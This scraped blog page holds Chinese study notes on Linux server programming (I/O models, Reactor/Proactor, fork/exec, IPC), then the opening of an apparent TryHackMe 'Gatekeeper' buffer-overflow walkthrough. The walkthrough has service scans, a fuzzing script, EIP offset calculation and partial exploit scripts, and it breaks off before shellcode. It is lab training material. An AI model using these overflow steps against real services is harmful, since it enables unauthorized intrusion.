rlim_t rlim_max;//指定资源的硬限制
}
//rlim_t 是一个整数类型

资源限制类型

改变工作目录和根目录

1
2
3
4
5
6
7
c++复制代码 #include<unistd.h>
char* getcwd (char* buf,size_t size); //获取当前工作目录
int chdir (const char* path);//切换path指定的目录

//改变进程根目录函数
#include<unistd.h>
int chroot (const char* path);

八、高性能服务器程序框架

I/O处理单元—四种I/O模型和两种高效事件处理模式

服务器模型

C/S模型

C_S模型

由于客户连接请求是随机到达的异步事件,因此服务器需要使用某种I/O模型来监听这一事件

1
2
3
4
5
6
markdown复制代码 **当监听到连接请求后,服务器就调用accept函数接受它,并分配一个逻辑单元为新的连接服务。**
**逻辑单元可以是新创建的子进程,子线程或者其他**
**服务器给客户端分配的逻辑单元是由fork系统调用创建的子进程。**
**逻辑单元读取客户请求,处理该请求,然后将处理结果返回给客户端。**
**客户端接收到服务器反馈的结果之后,可以继续向服务器发送请求,也可以立即主动关闭连接**
**如果客户端主动关闭连接,则服务器执行被动关闭连接**

服务器同时监听多个客户请求是通过select系统调用实现的

TCP工作流程

C/S模型非常适合资源相对集中的场合,并且它实现也很简单,但其缺点也很明显,服务器是中心,访问量过大时,可能所有客户都会得到很慢的响应。

P2P模型

优点:资源能够充分、自由地共享

缺点:当用户之间传输的请求过多时,网络负载将加重

主机之前很难互相发现,所以实际使用的P2P模型通常带有一个专门的发现服务器

p2p模型

服务器编程框架

服务器基本框架

模块 单个服务器程序 服务器机群
I/O处理单元 处理客户连接,读写网络数据 作为接入服务器,实现负载均衡
逻辑单元 业务进程或线程 逻辑服务器
网络存储单元 本地数据库,文件或缓存 数据库服务器
请求队列 各单元之间的通信方式 各服务器之间的永久TCP连接

I/O处理单元模块:等待并接受新的客户连接,接收客户数据,将服务器响应数据返回给客户端

逻辑单元通常是一个进程或线程:它分析并处理客户数据,然后将结果传递给I/O处理单元或者直接发送给客户端

网络存储单元:可以说数据库,缓存和文件,甚至是一台独立的服务器

请求队列:是各个单元之间的通信方式和抽象I/O处理单元接收到客户请求时,需要以某种方式通知一个逻辑单元来处理请求,多个逻辑单元同时访问一个存储单元时,也需要某种机制来协调处理竞态条件。请求队列通常被实现为池的一部分。对服务器来说,请求队列是各台服务器之间预先建立的,静态的、永久的TCP连接

I/O模型

I/O模型 读写操作和阻塞阶段
阻塞I/O 程序阻塞于读写函数
I/O复用 程序阻塞于I/O复用系统调用,但可同时监听 多个I/O事件,对I/O本身的读写操作是非阻塞的
SIGIO信号 信号触发读写就绪事件,用户程序执行读写操作。程序没有阻塞阶段
异步I/O 内核执行读写操作并触发读写完成事件,程序没有阻塞阶段

阻塞式IO

  • 使用系统调用,并一直阻塞直到内核将数据准备好,之后再由内核缓冲区复制到用户态,在等待内核准备的这段时间什么也干不了
  • 下图函数调用期间,一直被阻塞,直到数据准备好且从内核复制到用户程序才返回,这种IO模型为阻塞式IO
  • 阻塞式IO式最流行的IO模型

进程阻塞于recvfrom

同步阻塞

优缺点

优点:开发简单,容易入门;在阻塞等待期间,用户线程挂起,在挂起期间不会占用CPU资源。

缺点:一个线程维护一个IO,不适合大并发,在并发量大的时候需要创建大量的线程来维护网络连接,内存、线程开销非常大。

非阻塞式IO

  • 内核在没有准备好数据的时候会返回错误码,而调用程序不会休眠,而是不断轮询询问内核数据是否准备好
  • 下图函数调用时,如果数据没有准备好,不像阻塞式IO那样一直被阻塞,而是返回一个错误码。数据准备好时,函数成功返回。
  • 应用程序对这样一个非阻塞描述符循环调用成为轮询。
  • 非阻塞式IO的轮询会耗费大量cpu,通常在专门提供某一功能的系统中才会使用。通过为套接字的描述符属性设置非阻塞式,可使用该功能

recvfrom调用

优缺点

同步非阻塞IO优点:每次发起IO调用,在内核等待数据的过程中可以立即返回,用户线程不会阻塞,实时性较好。

同步非阻塞IO缺点:多个线程不断轮询内核是否有数据,占用大量CPU时间,效率不高。一般Web服务器不会采用此模式。

多路复用IO

  • 类似与非阻塞,只不过轮询不是由用户线程去执行,而是由内核去轮询,内核监听程序监听到数据准备好后,调用内核函数复制数据到用户态
  • 下图中select这个系统调用,充当代理类的角色,不断轮询注册到它这里的所有需要IO的文件描述符,有结果时,把结果告诉被代理的recvfrom函数,它本尊再亲自出马去拿数据
  • IO多路复用至少有两次系统调用,如果只有一个代理对象,性能上是不如前面的IO模型的,但是由于它可以同时监听很多套接字,所以性能比前两者高

处理过程

过程对比

  • 多路复用包括:
    • select:线性扫描所有监听的文件描述符,不管他们是不是活跃的。有最大数量限制(32位系统1024,64位系统2048)
      • poll:同select,不过数据结构不同,需要分配一个pollfd结构数组,维护在内核中。它没有大小限制,不过需要很多复制操作
      • epoll:用于代替poll和select,没有大小限制。使用一个文件描述符管理多个文件描述符,使用红黑树存储。同时用事件驱动代替了轮询。epoll_ctl中注册的文件描述符在事件触发的时候会通过回调机制激活该文件描述符。epoll_wait便会收到通知。最后,epoll还采用了mmap虚拟内存映射技术减少用户态和内核态数据传输的开销

优缺点

IO多路复用优点:系统不必创建维护大量线程,只使用一个线程,一个选择器即可同时处理成千上万个连接,大大减少了系统开销。

IO多路复用缺点:本质上,select/epoll系统调用是阻塞式的,属于同步IO,需要在读写事件就绪后,由系统调用进行阻塞的读写。

信号驱动式IO

  • 使用信号,内核在数据准备就绪时通过信号来进行通知
  • 首先开启信号驱动io套接字,并使用sigaction系统调用来安装信号处理程序,内核直接返回,不会阻塞用户态
  • 数据准备好时,内核会发送SIGIO信号,收到信号后开始进行io操作

信号驱动

异步IO

  • 异步IO依赖信号处理程序来进行通知
  • 不过异步IO与前面IO模型不同的是:前面的都是数据准备阶段的阻塞与非阻塞,异步IO模型通知的是IO操作已经完成,而不是数据准备完成
  • 异步IO才是真正的非阻塞,主进程只负责做自己的事情,等IO操作完成(数据成功从内核缓存区复制到应用程序缓冲区)时通过回调函数对数据进行处理
  • unix中异步io函数以aio_或lio_打头

异步IO优点:真正实现了异步非阻塞,吞吐量在这几种模式中是最高的。

异步IO缺点:应用程序只需要进行事件的注册与接收,其余工作都交给了操作系统内核,所以需要内核提供支持。在Linux系统中,异步IO在其2.6才引入,目前也还不是灰常完善,其底层实现仍使用epoll,与IO多路复用相同,因此在性能上没有明显占优

五种IO模型对比

  • 前面四种IO模型的主要区别在第一阶段,他们第二阶段是一样的:数据从内核缓冲区复制到调用者缓冲区期间都被阻塞住!
  • 前面四种IO都是同步IO:IO操作导致请求进程阻塞,直到IO操作完成
  • 异步IO:IO操作不导致请求进程阻塞

对比

以上I/O模型详解部分来源于网络

两种高效的事件处理模式

两种事件处理模式Reactor和Proactor分别对应同步I/O模型、异步I/O模型

Reactor模式

它要求主线程(I/O处理单元)只负责监听文件描述上是否有事件发生,有的话就立即将该事件通知工作线程(逻辑单元)。除此之外,主线程不做任何其他实质性的工作。—–读写数据,接受新的连接,以及处理客户请求均在工作线程完成

  1. 主线程epoll内核事件表中注册socket上的读就绪事件
  2. 主线程调用epoll_wait等待socket上有数据可读
  3. 当socket上有数据可读时,epoll_wait通知主线程。主线程则将socket可读事件放入请求队列
  4. 睡眠在请求队列上的某个工作线程被唤醒,它从socket读取数据,并处理客户端请求,然后往epoll内核事件表中注册该socket上的写就绪事件
  5. 主线程调用epoll_wait等待socket可写
  6. 当socket可写时,epoll_wait通知主线程。主线程将socket可写事件放入请求队列
  7. 睡眠在请求队列上的某个工作线程被唤醒,它 往socket上写入服务器处理客户请求的结果
    reactor

Proactor模式

Proactor模式将所有I/O操作都交给主线程和内核来处理,工作线程仅仅负责业务逻辑

  1. 主线程调用aio_read函数向内核注册socket上的读完成事件,并告诉内核用户读缓冲区的位置,以及读操作完成时如何通知应用程序
  2. 主线程继续处理其他逻辑
  3. 当socket上的数据被读入用户缓冲区后,内核将向应用程序发送一个信号,以通知应用程序数据已经可用
  4. 应用程序预先定义好的信号处理函数选择一个工作线程来处理客户请求。工作线程处理完客户请求之后,调用aio_write函数向内核注册socket上的写完成事件,并告诉内核用户写缓冲区的位置,以及写操作完成时如何通知应用程序
  5. 主线程继续处理其他逻辑
  6. 当用户缓冲区的数据被写入socket之后,内核将向应用程序发送一个信号,以通知应用程序数据以及发送完毕
  7. 应用程序预先定义好的信号处理函数选择一个工作线程来做善后处理,比如决定是否关闭socket
    proactor

同步I/O模型模拟出Proactor

主线程执行数据读写操作,读完成之后,主线程向工作线程通知这一“完成事件”。那么从工作线程的角度来看,它们就直接获得了数据读写的结果,接下来要做的只是对读写的操作进行逻辑处理

  1. 主线程往epoll内核事件表中注册socket上的读就绪事件
  2. 主线程调用epoll_wait等待socket上有数据可读
  3. 当socket上有数据可读时,epoll_wait通知主线程。主线程从socket循环读取数据,直到没有更多数据可读,然后将数据封装成一个请求对象并插入请求队列
  4. 睡眠在请求队列上的某个工作线程被唤醒,它获得请求对象并处理客户请求,然后往epoll内核事件表中注册socket上的写就绪事件
  5. 主线程调用epoll_wait等待socket可写
  6. 当socket可写时,epoll_wait通知主线程。主线程往socket上写入服务器处理客户请求的结果
    同步模拟proactor

两种高效的并发模型

并发模型是指I/O处理单元和多个逻辑单元之间协调完成任务的方法。两种并发编程模式——-半同步/半异步模式、领导者/追随者模式

半同步/半异步模式

此同步和异步和前面I/O模型中的同步和异步完全不同。

1
2
css复制代码 **在I/O模型中,“同步”和“异步”区分的是内核向应用程序通知的是何种I/O事件(是就绪事件还是完成事件),以及该由谁来完成I/O读写(应用程序还是内核)**
**在并发模式中,“同步”指的是程序完成按照代码序列的顺序执行:“异步”指的是程序的执行需要由系统事件来驱动**

并发中的同步和异步

半同步/半异步工作流程

半同步_半异步工作流程

半同步/半异步模式变体——半同步/半异步反应堆

1
2
3
4
5
perl复制代码![半同步_半异步反应堆模式](https://i.loli.net/2021/11/21/fNIhLvi9QgYPr1k.png)



**异步线程只有一个,由主线程来充当,它负责监听所有socket上的事件。如果监听socket上有可读事件发生------有新的连接请求到来,主线程就接受之以得到新的连接socket,然后往epoll内核事件表中注册该socket上的读写事件。如果连接socket上有读写事件发生----有新的客户请求到来或有数据要发送至客户端,主线就将该连接socket插入请求队列中。所有工作线程都睡眠在请求队列上,当有任务到来时,它们将通过竞争(比如申请互斥锁)获得任务的接管权。这种竞争机制使得只有空闲的工作线程才有机会来处理新任务,这是很合理的**

缺点:

1
2
markdown复制代码 **主线程和工作线程共享请求队列。主线程往请求队列中添加任务,或者工作线程从请求队列中去除任务,都需要对请求队列加锁保护,从而白白耗费CPU时间。**
**每个工作线程都在同一时间只能处理一个客户请求。如果客户数量较多,而工作线程较少,则请求队列中将堆积很多任务对象,客户端的响应速度将越来越慢。如果通过增加工作线程来解决这一问题,则工作线程的切换也将耗费大量CPU时间**

变体—-相对高效的

高效半同步_半异步模式

主线程只管理监听socket,连接socket由工作线程来管理。当有新的连接到来时,主线程就接受并将新返回的连接socket派发给某个工作线程,此后该新socket上的任何I/O操作都由被选中的工作线程来处理,直到客户关闭连接。主线程向工作线程派发socket的最简单的方式,是往它和工作线程之间的管道里写数据。工作线程检测到管道上有数据可读时,就分析是否是一个新的客户连接请求到来。如果是,则把该新socket上的读写事件注册到自己的epool内核事件表中

领导者/追随者模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
less复制代码 **领导者/追随者模式是多个工作线程轮流获得事件源集合、轮流监听、分发并处理事件的一种模式。在任意时间点,程序仅有一个领导者线程,它负责监听I/O事件。而其他线程则都是追随者,它们休眠在线程池中等待成为新的领导者。当前的领导者如果检测到I/O事件,首先要从线程池中推选出新的领导者线程,然后处理I/O事件。此时,新的领导者等待新的I/O事件,而原来的领导者则处理I/O事件,二者实现并发**

包含:

**句柄集、线程集、事件处理器和具体的事件处理器**

![领导者追随者模式组件](https://i.loli.net/2021/11/21/aGkA7obLFqreN1T.png)

**使用wait_for_event方法来监听这些句柄上的I/O事件,并将其中的就绪事件通知给领导者线程**

线程集中的线程在**任一时间**必处于以下**三种状态之一:**

**Leader:线程当前处于领导者身份,负责等待句柄集上的I/O事件**
**Processing:线程正在处理事件。领导者检测到I/O事件之后,可以转移到processing状态来处理该事件,并调用promote_new_leader方法推选出新的领导者:也可以指定其他追随者来处理事件,此时领导者的地位不变。当处于processing状态的线程处理完事件之后,如果当前线程集中没有领导者,则它将成为新的领导者,否则它就直接转变为追随者**
**Follower:线程当前处于追随者身份,通过调用线程集dejoin方法等待成为新的领导者,也可能被当前的领导者指定来处理新的任务**

![领导者追随者状态转移](https://i.loli.net/2021/11/21/fCvItE314wT62qU.png)

**事件处理器和具体的事件处理器**

![领导者追随者工作流程](https://i.loli.net/2021/11/21/vzopABXsTq8xLnl.png)

> 上图为工作流程

在逻辑单元内部的一种高效编程方法——–有限状态机

其他提高服务器性能的手段

内存池、进程池、线程池和连接池
避免不必要的拷贝,如使用共享内存、零拷贝
尽量避免上下文的切换(线程切换)和锁的使用,因为都会增加开销

多进程编程

fork系统调用

用来Linux下创建新进程的系统

1
2
3
4
c++复制代码    #include<sys/types.h>
#include<unistd.h>
pid_t fork(void);
//该函数的每次调用都返回两次,在父进程中返回的是子进程的PID,在子进程中则返回0.该返回值是后续代码判断当前进程是父进程还是子进程的依据。fork调用失败时返回-1,并设置errno。

fork函数复制当前进程,在内核进程表中创建一个新的进程表项。新的进程表项有很多属性和原进程相同,比如堆指针、栈指针和标志寄存器的值。但也有许多属性被赋予了新的值,比如该进程的PPID被设置成原进程的PID,信号位图被清楚(原进程设置的信号处理函数不再对新进程起作用)

  • 子进程的代码与父进程完全相同,同时它还会复制父进程的数据(堆数据、栈数据和静态数据)。数据的复制采用的是所谓的写时复制,即只有在任一进程(父进程或子进程)对数据执行了写操作时,复制才会发生(显示缺页中断,然后操作系统给子进程分配内存并复制父进程的数据)。即便如此,如果我们在程序中分配了大量内存,那么使用fork时也应该十分谨慎,避免没必要的内存分配和数据复制。创建进程后,父进程中打开的文件描述符默认在子进程中也是打开的,且文件描述符的引用计数加1.父进程的用户根目录,当前工作目录等变量的引用计数均会加1。

exec系列系统调用

1
2
3
4
5
6
7
8
9
10
11
c++复制代码    #include<unistd.h>
extern char** environ;

int execl(const char* path,const char* argv,...);
int execlp(const char* file,const char* arg, ...);
int execle(const char* path,const char* arg, ... ,char* const envp[]);
int execv(const char* path,char* const argv[]);
int execvp(const char* file,char* const argv[]);
int execve(const char* path,char* const argv[],char* const envp[]);
//path参数指定可执行文件的完整路径,file参数可以接受文件名,该文件的具体位置则在环境变量PATH中搜寻。arg接受可变参数,argv则接受参数数组,它们都会被传递给新程序(path或file指定的程序)的main函数,envp参数用于设置新程序的环境变量。如果未设置它,则新程序将使用由全局变量environ指定的环境变量
//出错时返回-1,并设置errno。如果没出错,则源程序中exec调用之后的代码都不会执行,因为此时源程序已经被exec的参数指定的程序完全替换(包括代码和数据)

exec函数不会关闭原程序打开的文件描述符,除非该文件描述符被设置了类似SOCK_CLOEXEC的属性

处理僵尸进程

对于多进程程序而言,父进程一般需要跟踪子进程的退出状态。因此,当子进程结束运行时,内核不会立即释放该进程的进程表表项,以满足父进程后续对该子进程退出信息的查询(如果父进程还在运行)。子进程结束运行之后,父进程读取其退出状态之前,我们称该子进程继续运行。此时子进程的PPID将被操作系统设置为1,即init进程。init进程接管了子进程,并等待它结束。父进程退出之后,子进程退出之前,该子进程处于僵尸态。

1
2
3
4
5
6
7
8
c++复制代码    //僵尸态会占据内核资源,因此使用下列函数来等待子进程的结束,并获取子进程的返回信息,从而避免了僵尸进程的产生,或者使子进程呢个的僵尸态立即结束
#include<sys/types.h>
#incldue<sys.wait.h>
pid_t wait(int* stat_loc);
//wait函数将阻塞进程,直到该进程的某个子进程结束运行为止,它返回结束运行的子进程的PID,并将该子进程的退出状态信息存储于stat_loc参数指向的内存中。sys/wait.h头文件中定义了几个宏来帮助解释子进程的退出状态信息
pid_t waitpid(pid_t pid,int* stat_loc,int options);
//waitpid函数只等待由pid参数指定的子进程。如果pid取值为-1,那么它就和wait函数相同,即等待任意一个子进程结束。stat_loc参数的含义和wait函数的stat_loc参数相同,options参数可以控制waitpid函数的行为
//WNOHANG waitpid调用将是非阻塞的,目标进程未结束立即返回0,如果正常退出则返回PID,失败返回-1,并设置errno

常在SIGCHLD信号中调用waitpid,并在循环中彻底结束一个子进程

管道

管道是父进程和子进程通信的常用手段。
管道能在父、子进程间传递数据,利用的是fork调用之后两个管道文件描述符(fd[0]和fd[1])都保持打开。一堆这样的文件描述符只能保证父子进程间一个方向的数据传输,复制进程必须有一个关闭fd[0],另一个关闭fd[1]—-因此必须使用两个管道。
socket编程提供了一个双全工管道的系统调用:socketpair。———只能用于有关联的两个进程(如父子进程)

System IPC

这三种用来无关联的多个进程之间通信的方式: 信号、共享内存、消息队列

信号量
1
lua复制代码 **当多个进程访问系统上的某个资源的时候,就需要考虑进程的同步问题,以确保任意时刻只有一个进程可以拥有对资源的独占式访问----我们称对共享资源的访问的代码为关键代码即临界区。**

公众号里有我更多的原创文章,欢迎关注,支持原创!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

【Tryhackme】Gatekeeper(缓冲区溢出漏洞,

发表于 2021-11-24

免责声明

本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用,请不要将文中使用的工具和渗透思路用于任何非法用途,对此产生的一切后果,本人不承担任何责任,也不对造成的任何误用或损害负责。

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
less复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# nmap -sV -Pn 10.10.97.198
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 00:58 EST
Nmap scan report for 10.10.97.198
Host is up (0.33s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open tcpwrapped
31337/tcp open Elite?
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49175/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.91%I=7%D=11/23%Time=619C8321%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,24,"Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%
SF:r(SIPOptions,142,"Hello\x20OPTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x2
SF:0Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@
SF:nm>;tag=root\r!!!\nHello\x20To:\x20<sip:nm2@nm2>\r!!!\nHello\x20Call-ID
SF::\x2050000\r!!!\nHello\x20CSeq:\x2042\x20OPTIONS\r!!!\nHello\x20Max-For
SF:wards:\x2070\r!!!\nHello\x20Content-Length:\x200\r!!!\nHello\x20Contact
SF::\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\
SF:x20\r!!!\n")%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")%r(HT
SF:TPOptions,28,"Hello\x20OPTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n
SF:")%r(RTSPRequest,28,"Hello\x20OPTIONS\x20/\x20RTSP/1\.0\r!!!\nHello\x20
SF:\r!!!\n")%r(Help,F,"Hello\x20HELP\r!!!\n")%r(SSLSessionReq,C,"Hello\x20
SF:\x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSes
SF:sionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fo
SF:urOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eb
SF:ak\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01d
SF:efault!!!\n")%r(LDAPSearchReq,17,"Hello\x200\x84!!!\nHello\x20\x01!!!\n
SF:");
Service Info: Host: GATEKEEPER; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 205.24 seconds

用enum4linux无发现

用smbmap探测anonymous能过访问的分享文件夹

1
2
3
4
5
6
7
8
9
ruby复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# smbmap -H 10.10.97.198 -u anonymous
[+] Guest session IP: 10.10.97.198:445 Name: 10.10.97.198
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
Users READ ONLY

能够访问Users文件夹

1
2
3
4
5
6
7
8
9
10
11
12
yaml复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper]
└─# smbclient //10.10.97.198/Users
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Thu May 14 21:57:08 2020
.. DR 0 Thu May 14 21:57:08 2020
Default DHR 0 Tue Jul 14 03:07:31 2009
desktop.ini AHS 174 Tue Jul 14 00:54:24 2009
Share D 0 Thu May 14 21:58:07 2020

7863807 blocks of size 4096. 3877398 blocks available

把里面所有能过下载的文件都下载下来分析,尤其注意Share下的这个gatekeeper.exe文件

1
2
3
4
yaml复制代码smb: \share\> ls
. D 0 Thu May 14 21:58:07 2020
.. D 0 Thu May 14 21:58:07 2020
gatekeeper.exe A 13312 Mon Apr 20 01:27:17 2020

我们在windows上开启这个gatekeeper.exe程序,发现他开启了31337端口,从nmap扫描结果得知,靶机也开启了31337端口,也就是说靶机里面也有这个程序在运行。

缓冲区溢出攻击

Fuzzing!

因为要反复测试验证缓冲区溢出,我们需要另外一个windows的靶机,这边准备了一个win7的靶机,在上面安装了Immunity Debugger程序,关于Immunity Debugger的使用在这里不再多做介绍。
win7靶机的内网IP是:192.168.3.49

在kali准备以下FUZZY脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
arduino复制代码#!/usr/bin/python
import sys, socket

ip = '192.168.3.49'
port = 31337
buffer = ['A']
counter = 100

while len(buffer) <= 10:
buffer.append('A'*counter)
counter = counter + 100

try:
for string in buffer:
print '[+] Sending %s bytes...' % len(string)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("User" '\r\n')
s.recv(1024)
s.send(string + '\r\n')
print '[+] Done'
except:
print '[!] A connection can\'t be stablished to the program. It may have crashed.'
sys.exit(0)
finally:
s.close()

运行fuzzy.py,在发送300个字节时,靶机程序奔溃。

fuzz.png

计算EIP位置

此时我们生成一段不重复字节,长度比Fuzzing出来令到靶机程序崩溃的字节数略长一点,我们在这里选择400个字节,执行

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400

1
2
3
bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

使用下面脚本exploit1.py进行攻击,把上面生成的串放到payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ini复制代码#coding=utf-8
#!/usr/bin/python

#这里主要是为了定位EIP的内存地址
import socket

ip = "192.168.3.49"
port = 31337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

EIP地址:65413565

EIP地址.png

计算出EIP的偏移量

msf-pattern_offset -q 65413565

1
2
3
bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof]
└─# msf-pattern_offset -q 65413565
[*] Exact match at offset 136

得出偏移量值为:136

查找坏字节

我们在Immunity Debugger中输入:!mona bytearray -b "\x00"

查找坏字节1.png

0x00在C/C++语言中表示终止,所以是一个很普遍的坏字节,在上面我们首先把它排除掉。
我们用下面的bytearray.py脚本生成所有字节码:

1
2
3
scss复制代码for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()

执行:

1
2
3
bash复制代码┌──(root💀kali)-[~/tryhackme/Gatekeeper/bof]
└─# python3 bytearray.py
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

此时我们准备第二个攻击脚本exploit2.py,把上面生成的字节码粘贴到payload变量

同时,我们把偏移量136赋值到offset变量,把”BBBB”赋值到retn变量,重启程序,执行下面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ini复制代码import socket

ip = "192.168.3.49"
port = 31337

prefix = "OVERFLOW1 "
offset = 136
overflow = "A" * offset
retn = "BBBB"
padding = ""
